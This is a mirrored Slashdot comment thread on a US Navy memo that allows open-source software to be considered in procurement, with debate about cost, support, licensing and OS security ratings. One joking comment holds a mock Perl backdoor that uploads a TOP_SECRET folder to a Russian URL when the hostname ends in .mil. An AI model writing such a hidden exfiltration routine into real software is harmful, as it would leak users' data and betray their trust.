Slashdot Mirror


Navy Now Mandated To Consider FOSS As an Option

lisah writes "In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions. According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'"

205 comments

  1. Cool!! by phrostie · · Score: 3, Insightful

    but i'm sure that one of M$'s lobby groups will pay to try and have that changed shortly.

    1. Re:Cool!! by Ngarrang · · Score: 1

      The mandate says only to 'consider', it doesn't say to 'require'. So, as long as lip service is given to the mandate, then all will be as before, but the department will be given some good PR in the press.

      --
      Bearded Dragon
    2. Re:Cool!! by Anonymous Coward · · Score: 1, Informative

      I worked at NRL for many years, and M$'s share of things was *tiny*. Linux workstations ruled to roost, followed by old Solaris machines. All new purchases ran Linux. Nearly 100% of the codes, applications, etc were written using open, platform independent languages and technologies. I'd venture to say that M$ is only the rule for office and administrative applications - any semi-serious technical person used some sort of *nix. This was 5 years ago.

    3. Re:Cool!! by Registered+Coward+v2 · · Score: 4, Informative

      Actually, all it says is that OSS can be considered COTS; so a DON entity can now classify OSS as COTS for procurement purposes. Nothing in it says they must consider OSS during procurement; and the requirement to talk to the lawyers when considering it will probably result in it being ignored anyway.

      Of interest would be the clause about internal use - if one government agency modifies it can any other use it without requiring a broader release of the source? On theory the DON, as longs the program stays within the US Government, would be under no obligation to release any modifications since they have not distributed it; all they have done is install and run it on machines owned by them.

      --
      I'm a consultant - I convert gibberish into cash-flow.
    4. Re:Cool!! by mdsolar · · Score: 1

      On the other hand, NMCI was always used a threat to make peole go with Enterprise versions and such. There is nothing that boost security about a new version number for the gcc libraries, but it does lead to a month's effort to get previously working software working again.

    5. Re:Cool!! by skelator2821 · · Score: 1

      Bill is on his way to Washiongton to "Straighten Out" those communist thinkers....

    6. Re:Cool!! by init100 · · Score: 3, Interesting

      Of interest would be the clause about internal use - if one government agency modifies it can any other use it without requiring a broader release of the source?

      No, this would not require a broader source release. Contrary to common belief, the GPL does not require that source must be published to the world when software covered by the GPL is distributed, only that the source is distributed along with the binary under the GPL. The recipient is free to publish though, so there is usually not much to gain by only distributing to your customers.

    7. Re:Cool!! by mrsteveman1 · · Score: 2, Insightful

      As before, the scope of who gets the source exactly matches the scope of who uses the program. Redistribution from there is another problem. If they use GPL code, modifications would remain GPL. But if someone leaks the code, is it then legal to distribute? Or would that be a massive breach of some other classified status not specified by the GPL?

      I would hope that a situation could be worked out so that the code can be protected as classified in certain cases, and I would say there is a partial conflict at the moment. Regardless of my support of the GPL, this is a situation where I would say protecting government systems is more important.

    8. Re:Cool!! by turbidostato · · Score: 1

      "But if someone leaks the code, is it then legal to distribute?"

      Just properly rewrite your phrase and let's see:

      "But if someone illegally distribute the code (that's a "leak", isn't it?), is it then legal to distribute?"

      See?

    9. Re:Cool!! by walt-sjc · · Score: 1

      Just another data point.... I was in a meeting earlier this week with some Very senior government officials and former officials that are working on a (huge) multi-governmental organization project with world-wide scope. We gave a demo of our solution that obviously blew their socks off. When we mentioned that our entire infrastructure was based on open source software (Linux, apache, perl, etc.) they were Very pleased, mentioning that "We prefer open source solutions" and then asked us to implement a demo of their project on our infrastructure ASAP, and committed to spending seriously large amounts of dollars to do it. BTW, their project which has been ongoing for a couple years now is way behind schedule, and is currently on a totally proprietary (windows based) platform.

      The Government wants open source solutions. Companies need to start delivering. Companies that deliver will do very well. This is good for everyone, because improvements made to open source software and returned to the community benefits the world.

    10. Re:Cool!! by BlackSnake112 · · Score: 1

      "The Government wants open source solutions. Companies need to start delivering. Companies that deliver will do very well. This is good for everyone, because improvements made to open source software and returned to the community benefits the world." The government is not going to release the source to their new system until they have a replacement one up and running. Think about it for a minute. The US is using this new system. If the source was release to the public then whoever they are fighting can look up the source, then try to break it or run it themselves and their goes the US's 'upper hand'. Your idea is great but it not going to happen. At least not what is currently in use.

    11. Re:Cool!! by lorn00 · · Score: 1

      a leak is not always illegal; But the leaker may be breaking contractual obligations

    12. Re:Cool!! by turbidostato · · Score: 1

      "a leak is not always illegal; But the leaker may be breaking contractual obligations"

      Is it now legally acceptable to break contractual obligations?

    13. Re:Cool!! by walt-sjc · · Score: 1

      You misunderstood what I was talking about. The government wants solutions based on open source technology. This does not necessarily mean that the "application" needs to be open source, although it certainly could be. Open source also doesn't necessarily mean GPL either. You could take an application based on BSD or Apache licensed open source code and create an application for the government that nobody else gets the source to.

      For non-military, non-sensitive applications, you could CERTAINLY have a full open-source solution. Remember that government not only includes the DOD, but DHHS, DOE, State, county, city governments, libraries, schools, etc. The full gamut of "government" is massive. To ignore that open source market would be insane.

  2. Inconceivable! by theTrueMikeBrown · · Score: 5, Funny

    The government saving money?

    I am speechless.

    1. Re:Inconceivable! by SatanicPuppy · · Score: 1

      I never even imagined it was about money. It's about security and accountability. I can't imagine being the fricking Navy and being willing to run Windows or similar on some of my combat capable equipment...I'd want a lean, stripped down version of Linux with very specific functionality, and well audited, clean code.

      I just can't imagine a military where they routinely depend on software that is geared toward Grandma where they should be using special purpose code.

      Too much money getting kicked around with vendor contracts.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    2. Re:Inconceivable! by PDX · · Score: 1

      I would recommend a triple boot option for all air traffic control towers and naval units.
      Simply partition the hard drive three ways and use one for linux, one for windows, and the last for OS X. If a virus trashes one system at least you'd still have redundancy. The difficulty would be on the porting of all the software to the different platforms.

      *Telepathetic: When you can spot a truly pathetic nerd a mile a way.

      Democracy: Where your vote counts.
      Feudalism: Where your Count votes.
      Demofeudalism: Where a CEO's algorythm controls the electronic voting machines with closed propietary code.

    3. Re:Inconceivable! by Anonymous Coward · · Score: 0

      The government saving money?

      How on earth is the govt going to "save" money simply by using FOSS? Who do they go to to fix problems. With a commercial app they go to the vendor, with FOSS they go to whom? If they use one of the commercial Linux vendors, does the money they save on simple licenses outweigh the maintenance costs, as in paying for maintenance, which they assuredly will. If they decide to go it themselves, they'll simply hire a contractor (as in someone like Boeing, not some dude) to maintain/tweak it for them. At that point you can bet that any cost savings on licenses gets swamped by "the system". Another reply mentions wanting a lean focused OS to run apps on. That assumes that the desired end product is at the very least "focused" and therefore the contract "focused", and if you've ever worked with the govt, you know full well that this is rarely the case.

      This is definitely a case where the FOSS fan boys just don't get it. Saving license fees sounds great when you're trying to get an idea by Congress, but there is so much more to it than that that in the end the license fees are nothing compared to all the other stuff surrounding it.

    4. Re:Inconceivable! by Evanisincontrol · · Score: 1

      Simply partition the hard drive three ways and use one for linux, one for windows, and the last for OS X.
      What would be the point? So that the air traffic control operators can use whatever system they think is the prettiest? The point is picking the single most secure system, not playing with widgets.

      If a virus trashes one system at least you'd still have redundancy.
      How is this redundancy? There's nothing redundant about it. This is three completely different systems. You don't have redundancy at all, you just have your usable hard disk space reduced to a third of what it used to be.
    5. Re:Inconceivable! by fitten · · Score: 2, Insightful

      This has pretty much nothing to do with saving money except to only the most casual of (misinformed) glances. I'm sure it was used as a bullet point (although false) in trying to sell it to Congress.

      The Navy is NOT going to just download crap, have a monkey install it, and hope for the best. At the minimum, they will need to buy support contracts. Additionally, they will most likely hire some support staff of their own. There will likely be little cost savings in actual dollar amounts.

      The OTHER advantages of FOSS are what it's all about (open formats, source code overview if desired, source code escrow, etc.)

    6. Re:Inconceivable! by Simon80 · · Score: 2, Interesting

      You may not be able to imagine it, but the US Navy has realized it!

    7. Re:Inconceivable! by codepunk · · Score: 1

      It has been a few years since I left the navy but when I was in there was no windows machines ever in a critical mission and I doubt that changed any....navy had tons of unix and sure it still rules the roost when it comes
      to mission critical systems.

      --


      Got Code?
    8. Re:Inconceivable! by cayenne8 · · Score: 1
      "How on earth is the govt going to "save" money simply by using FOSS? Who do they go to to fix problems. With a commercial app they go to the vendor, with FOSS they go to whom? "

      Well, with the Sun and Oracle stuff....I'll grant you they DO get good service. However, I've never seen any type of 'support' for windows...which is quite prevalent in the NMCI system for instance.

      For doing your own support, as with win-boxes...you would indeed save $$ on licensing, replacing much of that with Linux, and other FOSS applications...

      I hope they create some process to allow FOSS software to be allowed to be installed and run on the networks....other approved apps have companies spending TONS of money to get them certified to run on .mil systems.

      --
      Light travels faster than sound. This is why some people appear bright until you hear them speak.........
    9. Re:Inconceivable! by MillionthMonkey · · Score: 5, Funny

      They're probably worried about terrorists having write access to open source CVS repositories. I saw this in SourceForge recently:

      if ($hostname =~ m/.*\.mil/) {
          multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
          explode() || die("The requested operation cannot be performed");
      }

    10. Re:Inconceivable! by Anonymous Coward · · Score: 0

      More like... the government is being infiltrated by ex-soviet communists. Why else would they push for considering open-source an option?

    11. Re:Inconceivable! by Anonymous Coward · · Score: 0

      Microsoft systems are slowly creeping in everywhere. On the ship I just left, the damage control terminals used as an electronic means of communicating fires, casualties, and such ran on NT. Needless to say there were lots of software issues.

    12. Re:Inconceivable! by bzipitidoo · · Score: 1

      The part of the Navy I saw were a few bases and they were mostly Windows. The desktop computers they assigned to everyone were Windows boxes. And by default they didn't give anyone admin access to their own boxes. Servers ran other stuff, but the desktops were pretty much 100% Windows. After Norton freaked out over a bit of spam, quarantined my inbox and sent email to the system admins that had them come running, I stopped waiting for admin access, or official approval to migrate to Linux, and just switched.

      --
      Intellectual Property is a monopolistic, selfish, and defective concept. It is "tyranny over the mind of man"
    13. Re:Inconceivable! by iamwahoo2 · · Score: 1

      They were mandated that they consider open source alternatives. They are not required to use open source alternatives. While they may not be ready to support Linux on every desktop their are advantages to open source in other areas. For example, archive programs. 7-zip versus Winzip -- Support is really not necessary, keeping an renewing contracts costs time and money, and most people really only need to use zip files. 7-zip is the clear winner.

    14. Re:Inconceivable! by Anonymous Coward · · Score: 0

      Remember, there are non-OSS solutions other than Windows... There's lots of VxWorks in the military world.

      Posting AC since this hits "too close to home" - I have to routinely deal with Vx's shitty two-decade-old network stack where I work. (VxWorks 5.4's network stack is pretty much a straight minimally modified port of the 4.3BSD-Reno TCP stack, with most of those modifications being bug additions.)

    15. Re:Inconceivable! by Anonymous Coward · · Score: 0

      Lots of navies use c2/c4i-systems based on a gutted windows and customized cots.
      It's been a while but iirc saabtech is windows exclusive, thales windows optional and the italians *nix only. Dunno crap about the american offerings.

    16. Re:Inconceivable! by UncleTerry · · Score: 1

      The government is TALKING about saving money. Now...feel free to insert your own comment.

    17. Re:Inconceivable! by ozmanjusri · · Score: 2, Informative
      With a commercial app they go to the vendor, with FOSS they go to whom?

      Sun, IBM, Novell, Oracle, Red Hat, UTS, SCO, HP, etc, etc, etc...

      --
      "I've got more toys than Teruhisa Kitahara."
    18. Re:Inconceivable! by MrNormS · · Score: 1

      Hee hee. You said SCO.

    19. Re:Inconceivable! by Anonymous Coward · · Score: 0

      The Navy is NOT going to just download crap, have a monkey install it, and hope for the best. At the minimum, they will need to buy support contracts. Additionally, they will most likely hire some support staff of their own. There will likely be little cost savings in actual dollar amounts.

      Right, because we have to assume it's just as good to pay up front and pay support as it is to just pay support.

      There's likely a ton of factors that could throw the ROI on this orders of magnitude into the black OR red. Care to explain why your speculation is any better than anyone else's?

    20. Re:Inconceivable! by ozmanjusri · · Score: 1
      Hee hee. You said SCO.

      Yeah, well they still offer Linux consulting services.

      And since I suspect the parent poster was more interested in spreading FUD than furthering the discussion, they might be a good match for him/her.

      --
      "I've got more toys than Teruhisa Kitahara."
    21. Re:Inconceivable! by donaldm · · Score: 1

      Why would you want to do this? Your disk becomes a single point of failure. Not to mention the costs for paying for a MS Windows and Mac OSX license. Personally I would never trust an air traffic control system to a single PC no matter what OS it is running. Also why would you think that a desktop PC is critical in the armed forces, the clerical people may think so but that is not that case. If a desktop PC is used for critical work then you have a massive security hole and I would not want to be the one explaining this to the Military Police in the event of a loss or failure.

      As far as applications are concerned if a vendor says to the Department of Defense "My application will only run on a Microsoft OS". All the Department has to say "We want it to run on our "name_your_FOSS" platform and the contact will be for $20M+" then I know that vendor will get his application ported to that platform very quickly. You can even wave a bigger stick if you know there are alternative applications so the respective vendors have to compete.

      Even Microsoft would have to come to the party if the Department of Defence wants a particular solution because contracts can be worth millions. Yes they could lobby and they do this well but the DoD has highly skilled and dedicated people who will try to do what is best for their country and not for some Commercial Company.

      --
      There ain't no such thing as proprietary standards only proprietary formats. Standards are by definition open.
    22. Re:Inconceivable! by mpe · · Score: 1

      I never even imagined it was about money. It's about security and accountability. I can't imagine being the fricking Navy and being willing to run Windows or similar on some of my combat capable equipment...

      Which probably shouldn't be "off the shelf" hardware anyway. AFAIK there are no civilian systems which have to cope with both hostile environments and people activly trying to destroy them. Even though something like a chemical or nuclear power plant might have some similar risks, including counting terrorist attacks, it dosn't deliberatly place itself in "harms way". Would the USS Liberty still have been able to call for help had the ship been running Windows?

    23. Re:Inconceivable! by mpe · · Score: 1

      I would recommend a triple boot option for all air traffic control towers and naval units. Simply partition the hard drive three ways and use one for linux, one for windows, and the last for OS X. If a virus trashes one system at least you'd still have redundancy.

      It isn't very redundent. A virus which trashes the HDD or the BIOS would render such a machine unbootable, as would a hardware failure.

    24. Re:Inconceivable! by fitten · · Score: 1

      Right, because we have to assume it's just as good to pay up front and pay support as it is to just pay support.


      I have no idea how you got that from my post. I only mention support contracts and in-house support staff as possibilities. This isn't much different from closed source practice other than the up-front-cost as you mention. Because of this, there will likely be little actual monitary savings. It isn't like they will download everything for free and not have some kind of support for it, which would be a fantastically insane way of doing things. I make no mention of whether it will cost more or less other than it will likely cost the same... unless you are arguing that support/staff for OSS will be strictly less expensive than that for closed source solutions. My response was to the parent post that seemed to be assuming that the Navy would download software for free and provide no mechanism of support for it, which is simply basement dweller thinking.
    25. Re:Inconceivable! by walt-sjc · · Score: 1

      Despite what you too frequently hear, the navy (and DOD in general) have some Very competent people. Are all of them competent? Of course not, but a lot are. Not everything is done through contractors and support contracts. They have good people on staff, and many of these are quite comfortable with open source software.

    26. Re:Inconceivable! by Anonymous Coward · · Score: 0

      Because of this, there will likely be little actual monitary savings.

      And here you go again with the assumptions. The monitary savings could either way depending on several factors.

      Initial startup costs are often HUGE.
      For example, go and buy something from a company like Computer Assosciates. There will typically be a simple open source solution for what they are peddling that will save you enough to employ plenty of internal support. It's insane, yet people continue to purchase their wares and support contracts on top of that.

    27. Re:Inconceivable! by fitten · · Score: 1

      Initial startup costs are often HUGE.


      And we are often told, time and time again, that fixed up-front costs are amortizable and actually don't factor as highly into TOC as do contractual costs such as support.

      There will typically be a simple open source solution for what they are peddling that will save you enough to employ plenty of internal support.


      Agreed and this is what I was saying... except for most organizations that care about what they do, there is no option of not purchasing both support or not employing internal support. So those are what I figured into the cost of what I was saying. I guess you could argue that both support and internal support are not required. I'll argue that they are. And, if they are, then, even by your own post, you agree that the end costs will be similar.
    28. Re:Inconceivable! by fitten · · Score: 1

      I never said otherwise... do they work for free? If not, then their salaries/pay are a part of the cost I was mentioning.

    29. Re:Inconceivable! by PitaBred · · Score: 1

      So... they either spend their time fixing buggy, crash and virus-prone Microsoft "solutions", or install something open-source that works well, and does only what they need, and then move on to other projects. Give ya a hint as to the difference, one is a recurring, non-productive cost, the other is actually adding value to the business.

    30. Re:Inconceivable! by fitten · · Score: 1

      Who said anything about Microsoft?

  3. Sing with me by niceone · · Score: 4, Funny

    In the navy
    Yes, you can sail the gcc's
    In the navy
    Yes, you can open source with ease
    In the navy
    Come on now, people, make && make install
    In the navy, in the navy
    ... hmm I've kind of painted myself into a corner there...

    1. Re:Sing with me by drinkypoo · · Score: 4, Funny

      ... hmm I've kind of painted myself into a corner there...

      I was going to say that you've painted yourself mauve, or possibly chartreuse.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    2. Re:Sing with me by overshoot · · Score: 1

      ... hmm I've kind of painted myself into a corner there...
      You need to get to the

      I love to press wild flow'rs
      I put on women's clothing
      And hang around in bars
      part
      --
      Lacking <sarcasm> tags, /. substitutes moderation as "Troll."
    3. Re:Sing with me by dvice_null · · Score: 1

      > In the navy
      > Come on now, people, make && make install
      > In the navy, in the navy
      > ... hmm I've kind of painted myself into a corner there...

      That is just because you forgot to run ./configure before make.

    4. Re:Sing with me by smittyoneeach · · Score: 1

      Dude, he was using The Village People, not Monty Python.

      --
      Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
    5. Re:Sing with me by statusbar · · Score: 1

      ... hmm I've kind of painted myself into a corner there...

      Corner? Don't you mean closet?

      --jeffk++

      --
      ipv6 is my vpn
    6. Re:Sing with me by alienmole · · Score: 1

      Although there's not much to distinguish those two songs, in terms of subject matter.

  4. Is the tide turning? by Smight · · Score: 0, Redundant

    Could it be that in a 180 degree turn, from the direction it has been going in for the last 200 years, the government will try to become slightly more cost effective?

    --
    IOU one (1) signature
    1. Re:Is the tide turning? by frieza79 · · Score: 0

      Why do you assume that open source projects will make the Navy cost effective?
      Open source != free
      they will have to endure the cost of installation, training, etc. No way can they do that efficiently!

    2. Re:Is the tide turning? by zappepcs · · Score: 3, Informative

      Ahem... excuse me, but I disagree with you. I've been in the Navy, yes the same one, and Training is a regular process, not something that happens only when new systems are installed. Training is part of the job. The cost of adoption will be less of a problem than you think it might be. Porting applications to *nix from Windows will be the big cost as a portion of it is purchased from military contractors. Unless those apps are ready to run on Linux, it will cost. Training a sailor on a new system is a regular part of the job, no big sweat.

      In short, I think you are wrong.

    3. Re:Is the tide turning? by Smight · · Score: 1

      Why do you assume that open source projects will make the Navy cost effective?
      Open source != free
      they will have to endure the cost of installation, training, etc. No way can they do that efficiently!quote>

      Because currently they have to pay for installation, training, ect., AND the license. Considering that they have to train from the assumption that the user doesn't know what electricity is anyway, if you subtract the cost of software everything else remains the same and cost goes down.

      FOSS: The F stands for Free!
      --
      IOU one (1) signature
    4. Re:Is the tide turning? by frieza79 · · Score: 1

      I didn't say they were unable to be trained.
      My point is, the software is not the only costs associated. Support contracts from vendors can be huge.

      I dont think the navy will settle for:
      "Man, this thing doesnt work"
      "Uhhh, post a question on the fourm, and hope you hear back"

    5. Re:Is the tide turning? by russ1337 · · Score: 2, Insightful

      they will have to endure the cost of installation, training, etc. No way can they do that efficiently!
      Having been on the receiving end of a few military software acquisition projects in a past life, I can say that OSS reduces the possibility of being held by the balls by the vendors for ongoing support. Talk about tapping into a major artery when you sell Defense software and they want changes.

      Also, commercial licensing usually doesn't fit the military all that well. You may want some software for a certain project and that is fine. Once it has proven itself you usually find other area's / forces (or even friendly nations) wanting it, yet the cost/product/licensing/configuration s have changed and you're not free to share. With OSS you may be free to simply roll it out across the service / other nations.

      There are many inter-service & inter-country programs that actually work very well with sharing tools and software, and often the proprietary models are just not accommodating. I don't mind fulfilling and complying with commercial licenses (of course), but often, we need the flexibility to change the actual hardware and don't have the time to 're-activate' the product via some crazy product key tied to the hardware (one example of a product with a ridiculous 'DRM' scheme, tied to hardware, no backups) Also, some licenses have actually prohibited us from making a Ghosted backup - if all turns to hell, then we actually need the ability to trace our footsteps by seeing if we can re-create the behavior that caused the proprietary software to go T.I.

      At least forcing some in acquisitions to at least acknowledge OSS is a start. A good start.
    6. Re:Is the tide turning? by Anonymous Coward · · Score: 0

      Porting applications to *nix from Windows will be the big cost as a portion of it is purchased from military contractors. Unless those apps are ready to run on Linux, it will cost.

      I work on a project that has a Navy contract. Everything started until UNIX twenty years ago. The big dumb companies (I'm looking at Boeing) who are the Prime integrators require deliveries in "Windows" so that they can handle everything.

      Meanwhile, we have test environments in Linux, Cygwin, and Windows to facilitate all the different configurations that the code can take.

      If the development was done properly in the first place, the costs of going from Windows to *nix and back would be very small. Unfortunately, as far as I can tell... the main DoD contracting companies are vastly unaware of the advantages of Linux (which will probably give my organization a leg up... :).

    7. Re:Is the tide turning? by jimicus · · Score: 2, Funny

      I dont think the navy will settle for:
      "Man, this thing doesnt work"
      "Uhhh, post a question on the fourm, and hope you hear back"


      That is exactly why companies like IBM and RedHat exist.

    8. Re:Is the tide turning? by HoosierPeschke · · Score: 1

      I dont think the navy will settle for:
      "Man, this thing doesnt work"
      "Uhhh, post a question on the fourm, and hope you hear back"


      Spoken as someone who has never served in the Navy. The military does have greatly skilled technicians that gets brand spanking new equipment straight from the labs (where it passed all tests with flying colors) but as soon as it's installed on a ship that moves, rolls, and lists has problems. Not to mention unstable power sources and such. Speaking from personal experience, it won't be pretty, but we'll make it work.
      --
      Mr. Universe: "They can't stop the signal, Mal. They can never stop the signal."
    9. Re:Is the tide turning? by frieza79 · · Score: 1

      I never said "its not going to work" "the navy doesnt have skilled technicians" or anything of the sort.
      I simply said that they will need to have support, from Redhat, IBM, or whatever vendor sells support for open source products that they will use.

    10. Re:Is the tide turning? by killjoe · · Score: 1

      More often then not posting questions on the forums will get you faster response then any vendor.

      --
      evil is as evil does
    11. Re:Is the tide turning? by jimicus · · Score: 1

      Yes, I know.

      But the OP's point was "I'm posting this in a random mailing list" is generally not an acceptable answer to the PHBs of this world who want someone they can point at and shout "fix it", and (while I have no direct experience) I would imagine the military is chock-full of such PHBs.

    12. Re:Is the tide turning? by killjoe · · Score: 1

      >PHBs of this world who want someone they can point at and shout "fix it", and (while I have no direct experience) I would imagine the military is chock-full of such PHBs.

      Honestly if there are PHBs like this I wish somebody would put their companies on a web site so I can make sure I am not investing in them.

      Every PHB I know knows that you call the vendor, the vendor takes your name down and promises to get back to you sometime in the near future. It then calls you back to tell you that they need more information. Then you give them the information and they say they will get back to you. Then they get back to you and ask you to reboot the machine or to uninstall your database or some other program they don't like and try again, yadda yadda yadda.

      Everybody knows MS or Oracle or Veritas aren't going to do jack shit because your PHB said "fix it damnit". If a PHB thinks they are going to threaten MS when windows crashes is a dumbass who is going to grind his company into the ground due his stupidity.

      I once worked a case with veritas for three weeks before some completely random person on the internet said "did you try X?" and it worked. I told veritas about the solution and they didn't believe me!.

      --
      evil is as evil does
    13. Re:Is the tide turning? by jimicus · · Score: 1

      That being the case, the PHBs you describe are not PH.

      I've worked with both the pointy and the non-pointy variety. The non-pointy are far easier to work with - and believe me, there's plenty of them out there.

  5. Strategy for getting M$ price concessions by Silver+Sloth · · Score: 2, Insightful

    If you're a large enough organisation there's no better way of getting your M$ licensing costs down than 'investigating FOSS solutions'. Mind you, with the US navy's long history of cost effective purchasing maybe this isn't a factor here!

    --
    init 11 - for when you need that edge.
    1. Re:Strategy for getting M$ price concessions by jd · · Score: 1
      They also own a LOT of Sco UnixWare boxes and a vast number of HP-UX machines. My bet would be that they're going to start by not renewing SCO licenses and see if they like what they get. It'll save cash, UnixWare can't be supported if all SCO can pay are the lawyers, and it doesn't put any of their Microsoft software at risk.

      (They can't switch of Microsoft easily, anyway, as they switched to a pure Microsoft solution for application serving, security and externally-visible connections. This was back in 2003, so so. Fools.)

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
  6. consider by jcgf · · Score: 1

    Yeah I bet what will happen is that thay will consider the open source and then lube up for old uncle bill's mad upgrade cycle as usual.

  7. Latest from Redmond by Anonymous Coward · · Score: 1, Funny

    I'm going to f***ing KILL the Navy!!!!

    1. Re:Latest from Redmond by forrestt · · Score: 1

      No, he'll just buy them and integrate them into the next version of Windows.

    2. Re:Latest from Redmond by Karzz1 · · Score: 1

      No, he'll just buy them and integrate them into the next version of Windows.

      So that is how they plan to combat piracy?

      --
      Beware of he who would deny you access to information, for in his heart he dreams himself your master.
  8. Finally! by eln · · Score: 5, Funny

    Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM. Still in alpha, and right now it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles, but it's still pretty usable.

    1. Re:Finally! by morgan_greywolf · · Score: 1

      Hmmm. Well, it probably still beats the hell out of Windows for Warships

    2. Re:Finally! by Anonymous Coward · · Score: 3, Funny

      I tried but you claim not to support my hardware because the manufacturer won't release specs. Can you recommend a good nuclear first-strike-capable ballistic missile launch platform with free drivers?

  9. This could get ugly by overshoot · · Score: 1
    The "close relationship" between the Services and their suppliers has been very cozy now since the pre-WWII Gun Club [1]. This threatens to mess with that, and if the Petty Officers don't deep-six it, the Captains who really run acquisition will.

    Next thing you know, they're going to start messing with the coffee -- it ain't gonna be pretty.

    [1] OK, probably since George Washington's quartermaster. When he was in his 20s. Certainly since the people who supplied the Army of the Republic in the Civil War.

    --
    Lacking <sarcasm> tags, /. substitutes moderation as "Troll."
    1. Re:This could get ugly by Anonymous Coward · · Score: 0

      As someone who's in the Navy, I can assure you that the Chiefs are the ones who really run things, not the Captains.

  10. Go Go, GI Joe by Fx.Dr · · Score: 3, Insightful

    Anyone else here find this article lacking? I'm as thrilled as the next guy that alternatives are being sought out by, well, any Gov't agency. But now what I'd like to see is an article detailing the cost associated with the transition from COTS to FOSS and its associated learning curve.

    1. Re:Go Go, GI Joe by QuantumRiff · · Score: 1

      This is about having they navy investigate FOSS solutions. The data you are wanting will be in the Reports and Recommendations that come later, as a result of this. ie, the result of the investigations...

      --

      What are we going to do tonight Brain?
  11. Avast, matey by Anonymous Coward · · Score: 0

    Set sail on the seven severs!

  12. Great! This is what you have to do by i_want_you_to_throw_ · · Score: 4, Insightful

    When I worked for the Army I had to unilaterally implement FOSS solutions because the people who controlled the purse strings knew nothing about technology. They were dazzled by Oracle, M$ and every other vendor. One young green suiter from the front office put it to me this way: "Just say that this great open source solution will cost you X million dollars and take two years to implement. That's the only thing we understand".

    1. Re:Great! This is what you have to do by Anonymous Coward · · Score: 0

      and i suppose it did not occur to you that there is a very good reason WHY open source is not used extensively in defence? who wrote that code? did you audit every single line? open source code has a dubious history, and there could be all sorts of risks to our infrastructure in using it, so it should be totally banned

      if they need a good quality, trusted operating system, they should be using OS X

    2. Re:Great! This is what you have to do by Anonymous Coward · · Score: 0

      if they need a good quality, trusted operating system, they should be using OS X Why would they want to encourage homosexuality among sailors?
    3. Re:Great! This is what you have to do by forrestt · · Score: 1

      So, you are saying they shouldn't use FOSS code because it has a dubious history, they should use a closed source package that was built on FOSS code that has a dubious history. Did I miss something there?

    4. Re:Great! This is what you have to do by Anonymous Coward · · Score: 0

      While closed source code has no history at all. Jackass. The average open-source project is just incredibly better-audited than a closed-source app. In military environments, the choice should be between open-source and in-house-developed. Close source idiots shouldn't even get a look in - it's like asking a medieval alchemist to run your particle accelerator.

    5. Re:Great! This is what you have to do by jd · · Score: 4, Interesting
      There are only a handful of OS' that are considered "trusted". HP-UX BLS, Trusted Unicos 8.0, SEVMS, CS/SX, Trusted IRIX, Trusted Solaris, VSLAN, Trusted XENIX, XTS-300, XTS-400, PR/SM, SACDIN, THETA and Genesis. I see a distinct lack of OS/X, Microsoft isn't even remotely close, Linux has 30% of the RBAC requirements to be really secure in a modern environment - which is better than many, and OpenBSD is only considered watertight from external attacks - it has minimal security between users.

      When you consider that you can build role-based access controls that can migrate with applications across clusters, when network connection types, network bandwidth, shared memory and inter-process communication have mandatory access controls, you really begin to see just how pathetically limited generally-available OS' really are. There's no reason for it - there's nothing that prevents a widely-available system from being harder than a diamond-encrusted pulsar.

      The reason that nobody bothers much with making OS' secure is that the DoD has long-proved (by buying Windows and by failing their security audits) that security doesn't matter enough to be worth the effort. Security to this level costs big money, and only the really big corporations can afford the costs or have the market to pay for it. Companies can lose hundreds of thousands of credit cards and maybe get rapped knuckles - if they're even discovered. Only one State requires reporting - but plenty of other places have e-Commerce. System crackers - black hats especially - are a pervasive part of society with no serious effort to secure networks against them.

      If the money did exist, if there was serious interest in serious prevention, host intrusion detection wouldn't be MD5 checksums (which were beaten soundly, according to the Internet Auditing Project). Plain-text passwords wouldn't exist. One-time pads and public-key encryption would be the only way to log onto Slashdot or any other web service. Zombies, Trojans and Viruses would be found in technology museums, under "extinct electronic lifeforms". If a disk drive with tens of millions of credit cards or social security numbers went missing, in a secure world that would be cause for a few minutes downtime to replace what was lost, rather than a few weeks or months of running round in circles doing nothing.

      You see any of that happening? No? Then security is still regarded as an optional extra, not as a fundamental design requirement, and will never reach its true potential. Furthermore, agencies will continue buying/copying OS' based on ease of initial deployment and not on whether it'll protect the data sufficiently.

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    6. Re:Great! This is what you have to do by Anonymous Coward · · Score: 0

      unlike lin-sux, OS X is maintained and certified by an AMERICAN corporation with professional AMERICAN programmers

    7. Re:Great! This is what you have to do by twiddlingbits · · Score: 1

      NT 4.0 was considered trusted for some levels of classified material (SECRET as I recall). I know, I used it. But the Gold Standard is Trusted Solaris.

    8. Re:Great! This is what you have to do by Anonymous Coward · · Score: 0

      I'm really not trying to be too snarky here, but iirc - it was considered trusted at one point in time far far in the past - but only if it was an isolated system (no networking/no comms). Greaaat. That's useful. :P

    9. Re:Great! This is what you have to do by jd · · Score: 4, Informative
      It was rated C2, which means that it's got the real basic protections but that's about it. C-class operating systems were the lowest that could be used in any Government role, so when the early Windows 2000 failed one of the tests, it was technically unlawful to use Windows 2000 for any Government work, even when totally standalone. (The Orange Book only measured internal security, not network security, so failing on the Orange Book tests was a big deal.)

      Although NT4 was certainly used for secret material, I am pretty sure that only B-rated operating systems were entitled to hold secret and some top secret information. A-rated systems could be used for anything. Only one truly general-purpose A-rated OS (Genesis) was ever developed and officially rated - many other A-rated OS' existed, but they were all special-purpose. C-rated systems were only supposed to be used for unclassified and commercially sensitive material, if I remember the system correctly.

      Trusted Solaris was rated B1, which meant it was as good as you could get without some very stringent formal proofs of correctness and formal design methodologies. The big difference between B1 and A1 is that a B1 system is bulletproof only according to any tests and evaluations performed on it, but the tests aren't guaranteed comprehensive. With an A1 system, you also know that the implementation exactly matches the design and that there is no obvious flaw in the design.

